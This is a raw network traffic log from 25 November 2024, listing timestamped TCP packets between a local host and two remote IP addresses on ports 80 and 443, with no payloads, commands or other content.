Nov 25, 2024 18:28:33.798818111 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.799415112 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.799504995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.799546003 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.800185919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.800302029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.800348043 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.800971031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.801088095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.801134109 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.801702976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.801798105 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.801840067 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.802467108 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.802591085 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.802654982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.803281069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.803302050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.803339958 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.803972960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.804079056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.804124117 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.804775953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.805151939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.805197954 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.805568933 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.805614948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.805656910 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.806391001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.806415081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.806469917 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.807053089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.807096004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.807143927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.807822943 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.807950020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.807995081 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.808630943 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.808748960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.808794975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.809451103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.809530973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.809576035 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.810280085 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.810396910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.810456038 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.810920000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.811094046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.811137915 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.811616898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.811666012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.811718941 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.812483072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.832607031 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.833308935 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:33.833318949 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.833926916 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:33.833930969 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.843344927 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.843767881 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:33.843785048 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.844361067 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:33.844367027 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.857577085 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.884653091 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.885128021 CET	49755	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:33.885137081 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.885588884 CET	49755	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:33.885593891 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:33.974405050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.974530935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.974591017 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.974677086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.974757910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.974806070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.975331068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.975388050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.975455046 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.975867987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.975919008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.975965023 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.976577044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.976870060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.976917982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.977286100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.977356911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.977397919 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.978250027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.978359938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.978418112 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.979336977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.979475021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.979527950 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.980484962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.980618000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.980695009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.981775045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.982125998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.982173920 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.983299971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.983503103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.983551025 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.984584093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.984739065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.984791040 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.985599041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.985620022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.985660076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.986032009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.986114025 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.986155033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.986546040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.986666918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.986713886 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.987206936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.987226963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.987274885 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.987730026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.987792969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.987850904 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.988168001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.988212109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.988313913 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.988728046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.988806963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.988859892 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.989273071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.989392996 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.989495039 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.990086079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.990216017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.990264893 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.990715981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.990803003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.990854979 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.991292000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.991365910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.991431952 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.991941929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.992052078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.992101908 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.992476940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.992552996 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.992594004 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.993022919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.993148088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.993186951 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.993525028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.993675947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.993731976 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.994220018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.994309902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.994364023 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.994839907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.994920015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.994967937 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.995632887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.995655060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.995718956 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.996493101 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.996572971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.996644020 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.997333050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.997529984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.997576952 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.998076916 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.998186111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.998241901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.998790026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.998873949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.998917103 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.999464989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.999582052 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.999648094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.003597975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.003914118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.003933907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.003963947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.003964901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.003983974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.004010916 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.004015923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.004034042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.004057884 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.004059076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.004105091 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.004564047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.004723072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.004771948 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.005285025 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.005414009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.005446911 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.006166935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.006333113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.006421089 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.007019043 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.007039070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.007106066 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.007725000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.007904053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.007960081 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.008425951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.008450985 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.008500099 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.008614063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.008641958 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.008671045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.008677959 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.009099960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.009147882 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.009290934 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.009416103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.009476900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.009476900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.010051966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.010199070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.010237932 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.010819912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.010845900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.010935068 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.011564016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.011676073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.011723995 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.012377977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.012423038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.012468100 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.013079882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.013196945 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.013246059 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.013953924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.027798891 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.036415100 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.056452036 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.056955099 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.056976080 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.057400942 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.057413101 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.177689075 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.177707911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.177833080 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.178035975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.178057909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.178111076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.178623915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.178642988 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.178666115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.178700924 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.178704023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.178749084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.178767920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.178958893 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.179002047 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.179673910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.180608034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.180783987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.180831909 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.181263924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.181323051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.181432009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.181982994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.182145119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.182195902 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.182657003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.182830095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.182883978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.183336973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.183535099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.183558941 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.184206009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.184251070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.184370995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.184984922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.185036898 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.185153961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.185857058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.185900927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.186021090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.186579943 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.186636925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.186640024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.187186956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.187237978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.187386036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.188097000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.188229084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.188251019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.188827991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.188849926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.188874006 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.188901901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.188939095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.188946009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.189606905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.189630032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.189675093 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.191354036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.191375017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.191418886 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.191910028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.192090988 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.192137003 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.192658901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.192801952 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.192857981 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.193662882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.193805933 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.193834066 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.194339037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.194360018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.194402933 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.194525003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.194542885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.194571972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.194685936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.194705963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.194741011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.196017027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.196043968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.196069002 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.196899891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.196922064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.196978092 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.197326899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.197355986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.197391987 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.197757959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.197778940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.197803974 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.198344946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.198393106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.198719978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.199412107 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.199435949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.199460983 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.199892044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.199912071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.199959040 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.200846910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.201037884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.201122999 CET	49752	80	192.168.2.6	185.215.113.16
